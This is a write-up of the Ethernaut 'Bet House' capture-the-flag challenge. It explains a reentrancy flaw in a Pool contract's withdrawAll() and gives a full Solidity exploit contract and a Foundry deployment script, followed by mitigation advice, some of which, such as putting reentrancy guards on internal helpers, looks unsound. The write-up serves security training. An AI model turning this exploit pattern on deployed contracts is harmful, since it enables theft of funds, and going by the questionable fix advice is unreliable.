Appearance
Mastering the Bet House: A Technical Deep Dive into Smart Contract Gambling Vulnerabilities
Introduction
In the rapidly evolving world of blockchain security, Capture The Flag (CTF) challenges have become essential training grounds for developers and security researchers. The Bet House challenge from Ethernaut presents a fascinating case study in smart contract vulnerabilities, reentrancy patterns, and state manipulation. This technical article will dissect the Bet House challenge, exploring its architecture, vulnerabilities, and the sophisticated solution required to exploit it.
Understanding the Bet House Ecosystem
The Challenge Overview
The Bet House is a multi-contract system that simulates a gambling environment where players must demonstrate strategic thinking to become registered "bettors." Players start with 5 Pool Deposit Tokens (PDT) and must navigate through a series of smart contracts to meet specific conditions.
Contract Architecture
The system comprises three main contracts:
- BetHouse: The main challenge contract that tracks registered bettors
- Pool: A deposit/withdrawal system with wrapped token mechanics
- PoolToken: An ERC20 token with minting and burning capabilities
Key Requirements for Becoming a Bettor
To successfully complete the challenge and become a registered bettor, a player must:
- Have at least 20 wrapped tokens (as verified by
balanceOf(msg.sender)) - Have their deposits locked in the Pool contract
- Call the
makeBetfunction successfully
Deep Dive into Contract Vulnerabilities
The Core Vulnerability: Reentrancy in Withdrawal
The most critical vulnerability lies in the Pool.withdrawAll() function. Let's examine the problematic code:
solidity
function withdrawAll() external nonReentrant {
// send the PDT to the user
uint256 _depositedValue = depositedPDT[msg.sender];
if (_depositedValue > 0) {
depositedPDT[msg.sender] = 0;
PoolToken(depositToken).transfer(msg.sender, _depositedValue);
}
// send the ether to the user
_depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}
While the function uses the nonReentrant modifier, it contains a subtle vulnerability: the external call to transfer ether happens before the wrapped tokens are burned. This creates a window for reentrancy attacks.
State Inconsistency Issues
The deposit function contains another critical issue:
solidity
function deposit(uint256 value_) external payable {
// check if deposits are locked
if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();
uint256 _valueToMint;
// check to deposit ether
if (msg.value == 0.001 ether) {
if (alreadyDeposited) revert AlreadyDeposited();
depositedEther[msg.sender] += msg.value;
alreadyDeposited = true;
_valueToMint += 10;
}
// check to deposit PDT
if (value_ > 0) {
if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_)
revert InsufficientAllowance();
depositedPDT[msg.sender] += value_;
PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
_valueToMint += value_;
}
if (_valueToMint == 0) revert InvalidDeposit();
PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}
The alreadyDeposited variable is a contract-level state variable, not tied to individual users. This means only one account in the entire system can ever deposit ether successfully.
The Attack Strategy: Step-by-Step Analysis
Phase 1: Initial Setup and Token Acquisition
The player starts with 5 PDT tokens. To meet the 20 wrapped token requirement, we need to:
- Deposit both ether (0.001 ETH) and PDT (5 tokens) to get 15 wrapped tokens
- Exploit the reentrancy vulnerability to gain additional wrapped tokens
Phase 2: Understanding the Reentrancy Vector
The attack leverages the receive() function in our exploit contract. When the Pool contract sends ether back during withdrawal, it triggers our contract's receive function, allowing us to execute code during the withdrawal process.
Phase 3: The Critical Insight
The key realization is that during the withdrawAll() function:
- PDT tokens are returned first
- Ether is sent second (triggering reentrancy)
- Wrapped tokens are burned last
During the reentrancy window, we can make another deposit, increasing our wrapped token balance before the burn operation occurs.
Building the Exploit Contract
Contract Structure and Initialization
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "./deps/ERC20.sol";
import {Ownable} from "./deps/Ownable.sol";
import {ReentrancyGuard} from "./deps/ReentrancyGuard.sol";
import "./BetHouse.sol";
contract MyContract {
PoolToken private immutable _wrappedToken;
PoolToken private immutable _depositToken;
Pool private immutable _pool;
BetHouse private immutable _instance;
address private _player;
uint256 private constant PDT_AMOUNT = 5;
uint256 private constant ETH_AMOUNT = 0.001 ether;
constructor(
address wrappedToken_,
address depositToken_,
address pool_,
address betHouse_,
address player_
) {
_wrappedToken = PoolToken(wrappedToken_);
_depositToken = PoolToken(depositToken_);
_pool = Pool(pool_);
_instance = BetHouse(betHouse_);
_player = player_;
}
The constructor sets up immutable references to all the necessary contracts and stores the player's address for authorization.
The Main Play Function
solidity
function play() external payable {
require(msg.sender == _player, "BAD caller!");
require(msg.value == ETH_AMOUNT, "BAD ETH amount!");
// Transfer PDT from player to contract
_depositToken.transferFrom(_player, address(this), PDT_AMOUNT);
// Approve Pool to spend PDT
_depositToken.approve(address(_pool), type(uint256).max);
// Initial deposit: 0.001 ETH + 5 PDT = 15 wrapped tokens
_pool.deposit{value: ETH_AMOUNT}(PDT_AMOUNT);
// Trigger withdrawal and reentrancy
_pool.withdrawAll();
}
This function performs the initial setup and triggers the withdrawal that will lead to reentrancy.
The Reentrancy Handler: Receive Function
solidity
receive() external payable {
require(msg.sender == address(_pool), "Not pool caller!");
require(msg.value == ETH_AMOUNT, "BAD received ETH amount!");
require(
_wrappedToken.balanceOf(address(this)) == 15,
"BAD wrapped hold!"
);
require(
_depositToken.balanceOf(address(this)) == PDT_AMOUNT,
"BAD PDT hold!"
);
// Reset approval and re-approve
_depositToken.approve(address(_pool), uint256(0));
_depositToken.approve(address(_pool), type(uint256).max);
// Make another deposit during reentrancy
_pool.deposit(PDT_AMOUNT);
// Verify we now have 20 wrapped tokens
require(
_wrappedToken.balanceOf(address(this)) == 20,
"BAD wrapped hold+5"
);
// Transfer wrapped tokens to player
_wrappedToken.transfer(_player, _wrappedToken.balanceOf(address(this)));
}
This is the heart of the exploit. When the Pool contract sends ether back, this function executes and makes another deposit before the wrapped tokens are burned.
Execution Flow Analysis
Step 1: Initial State
- Player has 5 PDT tokens
- Exploit contract is deployed
- No wrapped tokens exist yet
Step 2: First Deposit
- Contract deposits 0.001 ETH and 5 PDT
- Receives 15 wrapped tokens (10 for ETH + 5 for PDT)
Step 3: Withdrawal Trigger
- Contract calls
withdrawAll() - Pool returns 5 PDT to contract
- Pool sends 0.001 ETH to contract, triggering
receive()
Step 4: Reentrancy Execution
- During
receive(), contract deposits 5 PDT again - Receives 5 more wrapped tokens (total: 20)
- Transfers all wrapped tokens to player
Step 5: Completion
- Original withdrawal continues
- Pool tries to burn wrapped tokens, but they've been transferred
- Player ends with 20 wrapped tokens
Deployment Script
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {
BetHouse,
PoolToken,
Pool,
MyContract
} from "../test/bethouse/BetHouse.sol";
contract MyScript is Script {
function run() external {
// Contract addresses (to be filled based on deployment)
address BETHOUSE_INST = address(0x...);
address POOL_INST = address(0x...);
address WRAPPED_TOKEN_INST = address(0x...);
address DEPOSIT_TOKEN_INST = address(0x...);
uint256 ETH_AMOUNT = 0.001 ether;
uint256 playerpk = vm.envUint("PRIVATE_KEY");
address player = vm.addr(playerpk);
vm.startBroadcast(playerpk);
// Deploy exploit contract
MyContract my = new MyContract(
WRAPPED_TOKEN_INST,
DEPOSIT_TOKEN_INST,
POOL_INST,
BETHOUSE_INST,
player
);
// Approve exploit contract to spend PDT
PoolToken(DEPOSIT_TOKEN_INST).approve(address(my), type(uint256).max);
// Execute the exploit
my.play{value: ETH_AMOUNT}();
// Lock deposits and register as bettor
Pool(POOL_INST).lockDeposits();
BetHouse(BETHOUSE_INST).makeBet(player);
vm.stopBroadcast();
}
}
Security Lessons and Best Practices
1. Complete State Updates Before External Calls
The fundamental issue in the Pool contract is the order of operations. Always follow the Checks-Effects-Interactions pattern:
solidity
// ❌ Dangerous: External call before state update
payable(msg.sender).call{value: _depositedValue}("");
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
// ✅ Safe: State update before external call
uint256 wrappedBalance = balanceOf(msg.sender);
PoolToken(wrappedToken).burn(msg.sender, wrappedBalance);
payable(msg.sender).call{value: _depositedValue}("");
2. Proper Reentrancy Protection
While the contract uses nonReentrant, it's applied at the wrong level. Consider protecting individual state-changing operations:
solidity
function withdrawAll() external {
_withdrawPDT();
_withdrawEther();
_burnWrappedTokens();
}
function _withdrawEther() internal nonReentrant {
uint256 _depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}
}
3. User-Specific State Variables
The alreadyDeposited variable should be user-specific:
solidity
mapping(address => bool) private hasDepositedEther;
function deposit(uint256 value_) external payable {
if (msg.value == 0.001 ether) {
if (hasDepositedEther[msg.sender]) revert AlreadyDeposited();
hasDepositedEther[msg.sender] = true;
// ... rest of the logic
}
}
4. Comprehensive Testing
Implement tests that specifically check for reentrancy scenarios:
solidity
function testReentrancyAttack() public {
// Setup attacker contract
Attacker attacker = new Attacker(address(pool));
// Fund attacker
depositToken.transfer(address(attacker), 5 ether);
// Attempt attack
vm.expectRevert(); // Should revert if properly protected
attacker.attack();
// Verify state integrity
assertEq(pool.balanceOf(address(attacker)), 0);
}
Conclusion
The Bet House challenge demonstrates several critical smart contract security concepts:
- Reentrancy vulnerabilities can manifest in subtle ways, even with basic protection mechanisms
- State management requires careful consideration of operation ordering
- Contract interactions must be designed with security as a primary concern
- Testing must include edge cases and attack vectors
The exploit successfully demonstrates how to:
- Leverage reentrancy to manipulate token balances
- Navigate complex multi-contract interactions
- Achieve specific state conditions required by the challenge
This analysis serves as a valuable case study for developers looking to understand smart contract security in depth. The lessons learned from the Bet House challenge apply to real-world DeFi protocols, where similar vulnerabilities could lead to significant financial losses.
As blockchain technology continues to evolve, understanding these security principles becomes increasingly important for developers, auditors, and security researchers working in the Web3 space.